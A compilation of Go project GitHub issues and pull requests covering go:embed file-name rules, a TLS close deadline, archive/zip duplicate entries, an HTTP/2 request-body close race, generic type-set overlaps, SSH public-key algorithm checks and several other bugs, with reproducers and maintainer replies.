CheckFilePath checks that a slash-separated file path is valid. The definition of a valid file path is the same as the definition of a valid import path except that the set of allowed characters is larger: all Unicode letters, ASCII digits, the ASCII space character (U+0020), and the ASCII punctuation characters “!#$%&()+,-.=@[]^_{}~”. (The excluded punctuation characters, " * < > ? ` ' | / \ and :, have special meanings in certain shells or operating systems.)

//go:embed can't match files that aren't part of a module because packages would include different sets of files depending on whether they were built as part of the main module or a dependency.

@Mrliu8023
Is there any reason that the name of the directory has to be 00|00.test? To me, a name like, e.g. 00_00.test seems to be just as useful and less obscure.

Because i can't control the input of users. Might I need give more information in my document.

The go command correctly reports an error for this file, but we should improve the error message and the embed documentation to explain why.
Currently the documentation says:

Patterns must not match files outside the package's module, such as ‘.git/*’ or symbolic links. Matches for empty directories are ignored. After that, each pattern in a //go:embed line must match at least one file or non-empty directory.

A file named 00|00.test cannot be included in a module because it contains characters that are meaningful to the shell. That's what module.CheckFilePath is checking. Its documentation explains the restrictions.

CheckFilePath checks that a slash-separated file path is valid. The definition of a valid file path is the same as the definition of a valid import path except that the set of allowed characters is larger: all Unicode letters, ASCII digits, the ASCII space character (U+0020), and the ASCII punctuation characters “!#$%&()+,-.=@[]^_{}~”. (The excluded punctuation characters, " * < > ? ` ' | / \ and :, have special meanings in certain shells or operating systems.)

//go:embed can't match files that aren't part of a module because packages would include different sets of files depending on whether they were built as part of the main module or a dependency.

Yes.The embed files should have the same rule with .go files.

authors: Mrliu8023 beoran jayconrod


text:
crypto/tls: Conn.Close should not override user's write deadline

What version of Go are you using (go version)?

$ go version
go version go1.16.2 darwin/amd64

Does this issue reproduce with the latest release?
Yes: https://github.com/golang/go/blob/8fd0f83552d3ef9ca38c031bec93a36b189e3e11/src/crypto/tls/conn.go#L1361
What operating system and processor architecture are you using (go env)?
All
What did you do?

Set a write deadline of my liking, close a TLS connection.
What did you expect to see?
The close to block for only the user specified deadline.
What did you see instead?
The close blocks for 5 seconds.
The library should not override the user write deadline, or add a field in tls.Config. See comments on existing issue: https://github.com/golang/go/issues/31224#issuecomment-801513064

cc @ianlancetaylor as likely proposal
cc @FiloSottile @katiehockman

Bump.

authors: kozlovic networkimprov


text:
x/pkgsite: Request removal of obsolete package path

Per the instructions at https://go.dev/about#removing-a-package, I would like to request removal of my bitbucket.org/creachadair/jrpc2 module and its subpackages.
I did the original development on Bitbucket, but moved the module to github.com in June of 2019. The bitbucket.org path is obsolete (and the code was deleted from that host).

Done.

authors: creachadair jba


text:
archive/zip: fs.WalkDir fails if archive contains a directory without a trailing slash

What version of Go are you using (go version)?

$ go version
go version go1.17.1 linux/amd64

Does this issue reproduce with the latest release?
Yes
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE="on"
GOARCH="amd64"
GOBIN="/home/ericchiang/bin"
GOCACHE="/home/ericchiang/.cache/go-build"
GOENV="/home/ericchiang/.config/go/env"
GOEXE=""
GOEXPERIMENT=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOINSECURE=""
GOMODCACHE="/home/ericchiang/pkg/mod"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/ericchiang"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/usr/local/go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/usr/local/go/pkg/tool/linux_amd64"
GOVCS=""
GOVERSION="go1.17.1"
GCCGO="gccgo"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/dev/null"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build2858401830=/tmp/go-build -gno-record-gcc-switches"

What did you do?

We had a report of a JAR file where fs.WalkDir hit an error while walking the archive https://github.com/google/log4jscanner/issues/12
JAR can be found here: https://mvnrepository.com/artifact/org.seleniumhq.selenium/selenium-api/3.141.59
Reproducer (https://go.dev/play/p/-yKYcEqgotT):
package main

import (
	"archive/zip"
	"bytes"
	"io/fs"
	"log"
	"time"
)

func main() {
	h := &zip.FileHeader{Name: "./foo", Modified: time.Now()}
	h.SetMode(fs.ModeDir | 0755)

	b := &bytes.Buffer{}
	zw := zip.NewWriter(b)
	if _, err := zw.CreateHeader(h); err != nil {
		log.Fatalf("create header: %v", err)
	}
	if err := zw.Close(); err != nil {
		log.Fatalf("closing zip writier: %v", err)
	}

	r := bytes.NewReader(b.Bytes())
	zr, err := zip.NewReader(r, r.Size())
	if err != nil {
		log.Fatalf("create new reader: %v", err)
	}

	// WalkDir loops forever.
	err = fs.WalkDir(zr, ".", func(path string, d fs.DirEntry, err error) error {
		return err
	})
	if err != nil {
		log.Fatalf("walk dir: %v", err)
	}
}

What did you expect to see?
No error
What did you see instead?
2009/11/10 23:00:00 walk dir: readdir foo: not implemented

In the Selenium jar you link to, the directory META-INF/versions/9 appears twice, first without a trailing slash and second with a trailing slash.  I'm not sure why.  That is what is causing the problem there.  I think that your test case, which explicitly adds fs.ModeDir, may be slightly misleading; it may be a real problem but I don't think it's the problem with the Selenium jar.

Thanks for the analysis, Ian!
With this and other issues we've hit when using archive/zip with io/fs.WalkDir (https://github.com/golang/go/issues/50179), I'd be happy to dig in, but wanted to make sure this is something that archive/zip wants to support. If these JARs are just invalid ZIPs, that works for me.
Based on your comment, it sounds like this is may be valid, if peculiar.

I don't know whether it is valid or not, but since it seems to happen it seems that we should handle it.
I've written a CL that ignores duplicate entries.  But I'm not sure whether that is correct.  Perhaps we should give an error instead.

Upon further thought I think the only safe approach is to reject an attempt to use the io/fs interfaces with an archive that has duplicate entries.  That means that the Selenium jar will fail.  Reporting an error seems clearly better to quietly hiding entries.

Works for me!
In hindsight, it's not obvious that we gain a lot by using fs.FS since we only support ZIP archives. Maybe a premature abstraction on our part?
I think I may try iterating over zip.Reader.File instead of using fs.WalkDir.

Please note that the filenames can be a dominating factor in some workloads involving lots of files (e.g. a compressed version of a node_modules directory).
Would it be ok to reject one or the other syntax of filenames in JARs instead of running duplicate file detection?

If someone chooses to use the io.FS interface with a zip archive, then they are required to resolve all file names in any case (see initFileList at https://go.dev/src/archive/zip/reader.go#L737 ).  I would be surprised if the duplicate detection adds significant overhead to that step.  People concerned about this overhead should not be using the io.FS interface at all.

authors: ericchiang ianlancetaylor nightlyone


text:
net/http, x/net/http2: support http2requestBody.Close() being called multiple times concurrently

What version of Go are you using (go version)?

$ go version
go version go1.17.6 darwin/amd64

Does this issue reproduce with the latest release?
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE=""
GOARCH="amd64"
GOBIN=""
GOCACHE="/Users/moshe/Library/Caches/go-build"
GOENV="/Users/moshe/Library/Application Support/go/env"
GOEXE=""
GOEXPERIMENT=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GOINSECURE=""
GOMODCACHE="/Users/moshe/code/go/pkg/mod"
GONOPROXY="git.sqcorp.co,git.corp.squareup.com,github.com/squareup"
GONOSUMDB="git.sqcorp.co,git.corp.squareup.com,github.com/squareup"
GOOS="darwin"
GOPATH="/Users/moshe/code/go"
GOPRIVATE="git.sqcorp.co,git.corp.squareup.com,github.com/squareup"
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/usr/local/opt/go/libexec"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/usr/local/opt/go/libexec/pkg/tool/darwin_amd64"
GOVCS=""
GOVERSION="go1.17.6"
GCCGO="gccgo"
AR="ar"
CC="clang"
CXX="clang++"
CGO_ENABLED="1"
GOMOD="/usr/local/Cellar/go/1.17.6/libexec/src/go.mod"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -arch x86_64 -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/k0/pqfxzl896xg7g6vq_wby46380000gn/T/go-build4218274825=/tmp/go-build -gno-record-gcc-switches -fno-common"

What did you do?
Used net/http2 with net/httputil/ReverseProxy.
Then ran a test with the -race flag.

What did you expect to see?
No race conditions.
What did you see instead?
Race conditions.
Not quite sure how hard this will be to replicate cleanly to reproduce.
Basically, the http2 portion of net/http will close a request body when it’s done.
Also, the ProxyServer portion of net/http/httputil will close a request body when it’s done.
So the request body gets closed twice.
But the http2requestBody.Close() method, while obviously coded to support being called multiple times, will run into a race condition if Close() is called twice concurrently.
Very simple fix as well.
Current code:
// requestBody is the Handler's Request.Body type.
// Read and Close may be called concurrently.
type http2requestBody struct {
	_             http2incomparable
	stream        *http2stream
	conn          *http2serverConn
	closed        bool       // for use by Close only
	sawEOF        bool       // for use by Read only
	pipe          *http2pipe // non-nil if we have a HTTP entity message body
	needsContinue bool       // need to send a 100-continue
}

func (b *http2requestBody) Close() error {
	if b.pipe != nil && !b.closed {
		b.pipe.BreakWithError(http2errClosedBody)
	}
	b.closed = true
	return nil
}

Fixed code:
// requestBody is the Handler's Request.Body type.
// Read and Close may be called concurrently.
type http2requestBody struct {
	_             http2incomparable
	stream        *http2stream
	conn          *http2serverConn
	closeOnce     sync.Once       // for use by Close only
	sawEOF        bool       // for use by Read only
	pipe          *http2pipe // non-nil if we have a HTTP entity message body
	needsContinue bool       // need to send a 100-continue
}

func (b *http2requestBody) Close() error {
	b.closeOnce.Do(func(){
		if b.pipe != nil {
			b.pipe.BreakWithError(http2errClosedBody)
		}
	})
	return nil
}

Example code to reproduce:
package main

import (
	"log"
	"net/http"
	"net/http/httputil"
	"net/url"
)

func main() {
	endpoint := "https://httpstat.us/"
	url, err := url.Parse(endpoint)
	if err != nil {
		panic(err)
	}

	// Create a server on port 8000
	// Exactly how you would run an HTTP/1.1 server
	srv := &http.Server{Addr: ":8000", Handler: httputil.NewSingleHostReverseProxy(url)}

	// Start the server with TLS, since we are running HTTP/2 it must be
	// run with TLS.
	// Exactly how you would run an HTTP/1.1 server with TLS connection.
	log.Printf("Serving stuff on https://0.0.0.0:8000")
	log.Fatal(srv.ListenAndServeTLS("server.crt", "server.key"))
}

Then I can run it as:
$ GORACE="log_path=stderr" go run -race server.go

And trigger the race with:
for i in $(seq 20); do curl -k -X POST -d@random.stl --max-time 0.$i  --http2 https://localhost:8000/; done

The race is a side effect of the fix for #46866, which causes ReverseProxy to always close the body of outgoing requests before returning. When the ReverseProxy handler returns early, this can result in racing closes: One by ReverseProxy.ServeHTTP and one by RoundTrip.
While the http package doesn't document that it's okay to Close a request body multiple times or concurrently, making this safe seems reasonable and simpler than finding an alternate workaround for #46866.

How do we get this change submitted to upstream?
PR has been reviewed, but needs a googler.

Now that the change has been approved, any idea on when it will be merged in?

authors: moshegood neild scathers


text:
cmd/go: type set overlapping implementation for interface types might be not correct

What version of Go are you using (go version)?

$ go version
go version go1.18rc1 linux/amd64

What did you do?

// okay
type C1 interface {
	interface {bool | int} | interface {bool | string}
}

// okay
type C2 interface {
	interface {bool | int} ; interface {bool | string}
}

// okay
type C3 interface {
	interface {bool; int} ; interface {bool; string}
}

// error: overlapping terms interface{bool; string} and interface{bool; int}
type C4 interface {
	interface {bool; int} | interface {bool; string}
}

What did you expect to see?
C1 contains overlapping. C4 doesn't.
What did you see instead?
Neither is true thought by the compiler.

The rule about overlapping type sets only applies to unions, so C2 and C3 are OK.  The rule only applies to non-interface types, so C1 is OK.  And for that matter C4 is OK too for the same reason.  I'm not sure why the compiler would give an error for that.
This doesn't matter for 1.18, especially since for C4 the type sets are empty anyhow.  We can fix this one way or the other for 1.19.
CC @griesemer

Pretty esoteric case. This can wait even past 1.19 if need be.

The rule for non-interface might be unnecessary, for each solo term could be enclosed in interface{ ... }.

It looks overlapping is hard to removed totally.
type Ptr[T any] *T

type MyConstraint[E any] interface {
	Ptr[int] | Ptr[E]
}

type YourConstraint MyConstraint[int] // okay

@go101 That is ok. We identify overlaps as errors because most likely they indicate a programmer error: e.g., code that says ~int|MyInt (where the underlying type of MyInt is int) is likely the result of not fully understanding the effect of the constraint, which is why we point it out. Similar to how we point out duplicate explicit method entries in an interface. But we accept duplicate method entries through embedding of interfaces, and so do we accept duplicate/overlapping type elements through interfaces in unions. For parameterized types we can't say anything before use, and that's ok.

@gopherbot please backport to 1.18, this bug leads to confusing and misleading errors, and the fix is straight-forward.

authors: go101 griesemer ianlancetaylor


text:
x/tools/go/packages: lists PGO variants of the unsafe package

When loading the cmd module, go/packages synthesizes an intermediate test variant for the 'unsafe' package. This doesn't make sense, since the unsafe package has no imports. Intermediate test variants exist to remap imports.
> gopackages -deps cmd/... | grep "unsafe "
Go package "unsafe [cmd/compile]":
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"
	import "unsafe" => "unsafe [cmd/compile]"

CC @matloob @adonovan @bcmills

Those aren't test variants — those are PGO variants (attn @cherrymui @prattmic).

Per discussion, I think we should set -pgo=off by default (especially in light of the performance cost, e.g. #60455). If someone wants to file a proposal to add a NeedPGO flag, they can, but I don't see a reason why users of go/packages would care about PGO variants.
CC @dominikh

authors: bcmills findleyr


text:
x/crypto/ssh: SSH_MSG_USERAUTH_PK_OK handling differs from OpenSSH

Go version
go version go1.20.5 darwin/arm64
What operating system and processor architecture are you using (go env)?
GO111MODULE=""
GOARCH="arm64"
GOBIN=""
GOCACHE="/Users/stephenm/Library/Caches/go-build"
GOENV="/Users/stephenm/Library/Application Support/go/env"
GOEXE=""
GOEXPERIMENT=""
GOFLAGS=""
GOHOSTARCH="arm64"
GOHOSTOS="darwin"
GOINSECURE=""
GOMODCACHE="/Users/stephenm/go/pkg/mod"
GONOPROXY="*.corp.stripe.com,github.com/stripe-internal/*,github.com/stripe/*"
GONOSUMDB="*.corp.stripe.com,github.com/stripe-internal/*,github.com/stripe/*"
GOOS="darwin"
GOPATH="/Users/stephenm/go"
GOPRIVATE="*.corp.stripe.com,github.com/stripe-internal/*,github.com/stripe/*"
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/opt/homebrew/Cellar/go/1.20.5/libexec"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/opt/homebrew/Cellar/go/1.20.5/libexec/pkg/tool/darwin_arm64"
GOVCS=""
GOVERSION="go1.20.5"
GCCGO="gccgo"
AR="ar"
CC="cc"
CXX="c++"
CGO_ENABLED="1"
GOMOD="/Users/stephenm/stripe/crypto/go.mod"
GOWORK=""
CGO_CFLAGS="-O2 -g"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-O2 -g"
CGO_FFLAGS="-O2 -g"
CGO_LDFLAGS="-O2 -g"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -arch arm64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/nd/8x6xvrgs3fb1ngn08_rx59t40000gn/T/go-build4288886961=/tmp/go-build -gno-record-gcc-switches -fno-common"

What did you do?
I was encountering the same error in https://github.com/golang/go/issues/54027 for connecting to a remote server outside of my control. In this scenario, the remote server does not follow the RFC in creating SSH_MSG_USERAUTH_PK_OK packets.
The RFC specifies that SSH_MSG_USERAUTH_REQUEST packets include string    public key algorithm name and the server would respond with a SSH_MSG_USERAUTH_PK_OK that includes string    public key algorithm name from the request.
In this case, I would see our SSH_MSG_USERAUTH_REQUEST include an algorithm like rsa-sha2-256, but the SSH_MSG_USERAUTH_PK_OK response would always contain ssh-rsa for all RSA algorithms provided.
What did you expect to see?
Go SSH handshakes have the same outcome as OpenSSH handshakes for the same parameters.
What did you see instead?
OpenSSH handshakes succeed with the remote SSH server while Go SSH handshakes do not.
The Go handshake fails because the handling here checks that the outbound algorithm string matches the one in the response. In our case, the remote server is not following the RFC and sending back the type rather than the algorithm string that was sent to it. So Go's implementation considers this a failed auth and returns an error to the application.
Yet, OpenSSH via ssh on the command line succeeds for this server. The OpenSSH implementation for handling SSH_MSG_USERAUTH_PK_OK doesn't check the exact string matches, rather, it converts the algorithm names into the key types and compares on that (code for the check, code for the struct).
I admit, OpenSSH's handling here differs from the RFC, but it does result in a successful connection while Go's implementation does not. I also tried commenting out Go's logic around key validation that invokes these packets and the connection succeeded, so the broken invariant doesn't actually impact the connection overall.
I will put up a pull request to modify Go's implementation of SSH_MSG_USERAUTH_PK_OK checks to match OpenSSH's.

Thanks for the report. You mention that you are using Go 1.20 -- I assume the same problem exists in 1.21 and on tip?
@drakkan @golang/security per owners.

Hello @stephenm-stripe, thanks for the detailed info. So this is yet another egde case for RSA keys.
Can you please confirm that the following patch works with your server? (also for certificates)
0001-ssh-relax-algo-check-in-SSH_MSG_USERAUTH_PK_OK.zip

@thanm I haven't tested it on 1.21 or tip, but since this is in x/crypto, I don't think those will influence the outcome unless I misunderstand?
@drakkan Thanks for the patch. I have tested it against the non-compliant server and confirm it works.

Thanks for confirming. Can you please modify your CL like my proof of concept? I think it is more readable to have separate conditions for each case

Thanks for confirming. Can you please modify your CL like my proof of concept? I think it is more readable to have separate conditions for each case

Yes. I meant to update the existing one, but have created https://go-review.googlesource.com/c/crypto/+/553035 instead.

I'd like to push back a little on this.
The rsa-sha2-256 / ssh-rsa transition is already extremely complex, and quirk compatibility edge cases add complexity that might invalidate safety assumptions at a distance. They are also a maintenance burned going forward.
We do add quirk workarounds when they are necessary for ecosystem reasons (i.e. if five OpenSSH versions in a row exhibited a broken behavior), but only after there was an attempt to fix the issue on the peer's side, and only if the broken peer is popular.

a remote server outside of my control

Can you share more about what implementation has this issue? Is there a fix? How common is it?

Replying from my personal account (as mentioned in this comment).

a remote server outside of my control

Can you share more about what implementation has this issue? Is there a fix? How common is it?

I don't have details on the implementation, other than it was a third-party enterprise software suite for Windows. There is no known fix. We did inform the server owners of this limitation of the vendor software they are using, but they seemed unlikely to pursue alternative solutions given that we were their only client experiencing SSH issues (I suspect we were the only ones using Go to connect). On our side, of the many servers we connected to for SFTP purposes, this was the only remote server that had this issue.

authors: FiloSottile Melinysh drakkan stephenm-stripe thanm


text:
encoding/json: Unmarshal gives errPhase on non-string literal when underlying TextUnmarshaler returns an error

When decoding a non-string literal into an encoding.TextUnmarshaler (such as net.IP) that returns an error, json.Unmarshal returns errPhase ("JSON decoder out of sync - data changing underfoot?"), obscuring the actual error.
Example play here.
Code:
package main

import (
	"encoding/json"
	"errors"
	"fmt"
	"net"
)

type X struct{}

func (x *X) UnmarshalText(b []byte) error {
	return errors.New("Hi!")
}

func main() {
	var x X
	err := x.UnmarshalText([]byte("123"))
	fmt.Println(err) // Hi!

	err = json.Unmarshal([]byte("123"), &x)
	fmt.Println(err) // JSON decoder out of sync - data changing underfoot?

	err = json.Unmarshal([]byte("true"), &x)
	fmt.Println(err) // JSON decoder out of sync - data changing underfoot?

	err = json.Unmarshal([]byte("null"), &x)
	fmt.Println(err) // JSON decoder out of sync - data changing underfoot?

	// Happens with real types like net.IP

	var ip net.IP
	err = json.Unmarshal([]byte("8080"), &ip)
	fmt.Println(err) // JSON decoder out of sync - data changing underfoot?

}

Note that this doesn't happen when json value is quoted as expected by TextUnmarshaler.
package main

import (
	"encoding/json"
	"errors"
	"fmt"
)

type X struct{}

func (x *X) UnmarshalText(b []byte) error {
	return errors.New("Hi!")
}

func main() {
	var x X
	err := json.Unmarshal([]byte("\"123\""), &x)
	fmt.Println(err) // Hi!
}

@alytvynov This bug report is for non-string literals. It is true that it passes the correct error for string literals.
I just noticed that this happens even when the TextUnmarshaler doesn't return an error. Updating the description now.

@cespare sure, just pointing that out as a possible hint for debugging.

@rsc: Two questions about your fix:

Can we infer from your fix that unmarshaling a non-string value, even null, into a TextUnmarshaler is always an error? That is, null can't be unmarshaled into a *net.IP, even though both *net.IP and net.IP can be nil?

The error now reads cannot unmarshal string into Go value of type [...] when trying to unmarshal null. Should null really be considered a string, or should an issue be filed for this?

authors: alytvynov cespare dominikh


text:
runtime/sys_windows_arm64: fix badsignal2 to initialize r3 to a defined value

We ran into an issue on the hololens which is an arm64 windows platform.  We noticed that in runtime.badsignal2 it would call WriteFile, but then we would get an Access Violation inside it when it attempted to derefence the lpNumberOfBytesWritten variable.  It appears that runtime.badsignal2 is assigning this variable, which is a pointer, to whatever is in r13 (note this is assembly), but I don't see where r13 is initialized and in our case it was set to 1, so WriteFile ended up dereferencing the value 1 causing the Access Violation.
This change modifies the assembly to set r3 to 0 which tells WriteFile not to dereference lpNumberOBytesWritten.
Note that it's likely this issue hasn't been noticed because it occurs right before an abort so the results ends up being almost the same except the error message doesn't get printed to stderr.  Also this would sometimes work because whatever happens to be in r13 could be a valid pointer or 0 which could both just happen to work.

I signed the CLA not sure if the check will update at some point.

source: gharchive/pull-request


text:
Create lint

This PR will be imported into Gerrit with the title and first
comment (this text) used to generate the subject and body of
the Gerrit change.
Please ensure you adhere to every item in this list.
More info can be found at https://github.com/golang/go/wiki/CommitMessage

The PR title is formatted as follows: net/http: frob the quux before blarfing

The package name goes before the colon
The part after the colon uses the verb tense + phrase that completes the blank in,
"This change modifies Go to ___________"
Lowercase verb after the colon
No trailing period
Keep the title as short as possible. ideally under 76 characters or shorter

No Markdown
The first PR comment (this one) is wrapped at 76 characters, unless it's
really needed (ASCII art, table, or long link)
If there is a corresponding issue, add either Fixes #1234 or Updates #1234
(the latter if this is not a complete fix) to this comment
If referring to a repo other than golang/go you can use the
owner/repo#issue_number syntax: Fixes golang/tools#1234
We do not use Signed-off-by lines in Go. Please don't add them.
Our Gerrit server & GitHub bots enforce CLA compliance instead.
Delete these instructions once you have read and applied them

I imagine this was created by mistake.